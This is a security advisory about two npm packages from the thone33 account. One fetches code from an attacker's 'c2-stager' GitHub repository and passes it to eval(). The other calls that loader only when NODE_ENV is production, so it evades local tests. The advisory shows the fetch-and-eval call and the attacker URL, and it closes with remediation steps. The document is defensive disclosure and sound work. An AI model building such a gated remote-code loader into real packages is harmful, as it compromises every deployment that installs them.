Feed
HighPublished 28 Jun 20262 packages · 8 versions

`@thone33/core-utils` + `@thone33/analytics-injector` — production-gated c2-stager loader fetched from a GitHub repo

Summary

On 2026-06-28 17:08–17:42 UTC the npm account thone33 (gptconta847@gmail.com) published two collaborating packages: @thone33/analytics-injector (1.0.0, 1.0.1) that fetches attacker JavaScript from raw.githubusercontent.com/Dennisfrr/c2-stager/main/the%20assessment.js and passes the response directly to eval; and @thone33/core-utils (1.0.01.0.5) that depends on @thone33/analytics-injector: ^1.0.0 and conditionally activates it only when NODE_ENV === 'production' — local dev and CI tests appear clean while production runtimes execute the c2-stager.

ci-cd-compromiseobfuscation
Detected by
Amazon Inspector · OpenSSF Package Analysis
Also known as
thone33 c2-stager cluster · Dennisfrr c2-stager loader
Ecosystems
npm
Packages tracked
2

What happened

On 2026-06-28 between 17:08:33 UTC and 17:42:11 UTC, the npm account thone33 (registered email gptconta847@gmail.com) published two collaborating packages — @thone33/analytics-injector (1.0.0, 1.0.1) and @thone33/core-utils (1.0.0 through 1.0.5) — across a single 34-minute publish window. The packages are tracked by Amazon Inspector and OpenSSF malicious-packages as MAL-2026-6563 (analytics-injector) and MAL-2026-6564 (core-utils); GHSA records mirror both.

@thone33/analytics-injector — the dropper primitive

The analytics-injector package exposes a single activate() function. On call, it fetch-es from https://raw.githubusercontent.com/Dennisfrr/c2-stager/main/the%20assessment.js and passes the response body directly to eval(), granting the upstream GitHub repository full Node-process privileges over the consumer. The package performs no integrity verification, no signature check, no version pinning, no allowlist of the upstream commit, and silently catches and swallows any fetch error — so a consumer can never detect a fetch failure or a payload swap. The upstream repository owner (Dennisfrr) explicitly named the repository "c2-stager" (command-and-control stager), removing any plausible deniability about intent.

@thone33/core-utils — the production-gated loader

The core-utils package presents itself as "Core utilities" but contains no utility code. Its sole behavior is to depend on @thone33/analytics-injector: ^1.0.0 (same author scope, version-pinned by major so the maintainer can push arbitrary code to consumers via a minor or patch update without modifying core-utils itself) and then conditionally call its activate() only when process.env.NODE_ENV === 'production'. The production-gating means local npm install + npm test cycles do NOT trigger the eval-of-fetched-payload — only built and deployed production artifacts do. A developer auditing the package on their workstation sees a benign import; the same code in a Kubernetes pod or Vercel deploy reaches out to the c2-stager and executes whatever the operator has staged this hour.

Multi-layer mutability

The attack stacks two layers of operator-controlled mutability: 1. The @thone33/analytics-injector: ^1.0.0 SemVer range lets the maintainer publish a new 1.x of analytics-injector and have it picked up by every existing core-utils consumer on the next npm install. 2. The Dennisfrr/c2-stager main branch lets the operator swap the second-stage payload retroactively without touching either npm package.

Lockfile pinning closes the first layer but NOT the second — even a fully-pinned @thone33/core-utils@1.0.5 and @thone33/analytics-injector@1.0.1 will still execute whatever HEAD of Dennisfrr/c2-stager returns at the moment the production runtime calls fetch.

Disclosure timeline

  • 2026-06-28 17:08:33 UTC@thone33/analytics-injector@1.0.0 published.
  • 2026-06-28 17:09:39 UTC@thone33/core-utils@1.0.0 published; depends on analytics-injector: ^1.0.0.
  • 2026-06-28 17:14:53 UTCanalytics-injector@1.0.1.
  • 2026-06-28 17:15:17 / 17:19:35 / 17:27:48 / 17:29:52 / 17:42:11 UTCcore-utils@1.0.1 through 1.0.5.
  • 2026-06-29 — Amazon Inspector flags both packages; OpenSSF malicious-packages publishes MAL-2026-6563 (analytics-injector) and MAL-2026-6564 (core-utils); GHSA mirrors.

Affected packages (2)

  • npm@thone33/analytics-injector
    1.0.01.0.1
  • npm@thone33/core-utils
    1.0.01.0.11.0.21.0.31.0.41.0.5

Impact

  • @thone33/analytics-injector — calls fetch("https://raw.githubusercontent.com/Dennisfrr/c2-stager/main/the%20assessment.js") then passes the response body straight to eval(), granting the upstream GitHub repo full Node-process privileges over the consumer with no integrity check, no signature, no version pinning, and silent swallowing of any fetch error
  • @thone33/core-utils — pure loader stub that imports @thone33/analytics-injector and invokes its activate() only when process.env.NODE_ENV === 'production'; the production-gating means local npm install + npm test cycles do NOT detect the malicious behaviour, only deployed builds do
  • Mutable upstream payload — the second-stage code lives at Dennisfrr/c2-stager main branch (an attacker-controlled GitHub repository explicitly named "c2-stager"); the operator can swap the payload retroactively without republishing either npm package, so lockfile-pinning @thone33/core-utils@1.0.5 does NOT pin what the dropper executes
  • Per the OSV record: any project that imports or transitively depends on either package and runs in production should be considered fully compromised; treat the deployed runtime as having received arbitrary attacker code

What to do

  1. 1Remove every reference to @thone33/core-utils and @thone33/analytics-injector from package.json / lockfiles / CI image layers — the OSV records flag every published version of both packages as malicious
  2. 2For any deployed production system that has ever imported either package: treat the runtime as fully compromised. Rotate every secret reachable from that runtime — API tokens, database credentials, signing keys, OAuth client secrets, service-account keys — from a separate clean device
  3. 3Block raw.githubusercontent.com/Dennisfrr/c2-stager/ at egress (or block raw.githubusercontent.com entirely from production runtimes); hunt application and CDN egress logs for outbound HTTPS to that path since 2026-06-28
  4. 4Audit package.json files across all your projects for any dependency under the @thone33 npm scope; the operator may publish additional siblings under the same scope
  5. 5Build a CI gate that rejects any dependency named @thone33/* and any string match on Dennisfrr/c2-stager across the dependency graph (including transitive deps), so a future re-introduction is caught at PR time

References

npm-2026-06-28-thone33-c2-stager-cluster